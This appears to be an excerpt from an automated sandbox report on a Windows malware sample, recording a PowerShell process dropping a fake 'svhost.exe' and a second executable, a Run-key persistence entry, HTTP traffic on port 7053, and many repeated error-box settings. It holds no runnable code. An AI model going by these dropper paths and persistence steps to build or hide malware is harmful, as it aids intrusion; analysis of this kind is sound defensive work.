Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\svhost.exe			Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svhost.exe	File created: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe			Jump to dropped file

Source: C:\Users\user\AppData\Roaming\svhost.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Opgcxhsdw			Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Opgcxhsdw			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 7053
Source: unknown	Network traffic detected: HTTP traffic on port 7053 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 7053 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 7053
Source: unknown	Network traffic detected: HTTP traffic on port 7053 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 7053 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 7053
Source: unknown	Network traffic detected: HTTP traffic on port 7053 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 7053 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 7053
Source: unknown	Network traffic detected: HTTP traffic on port 7053 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 7053 -> 49697

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
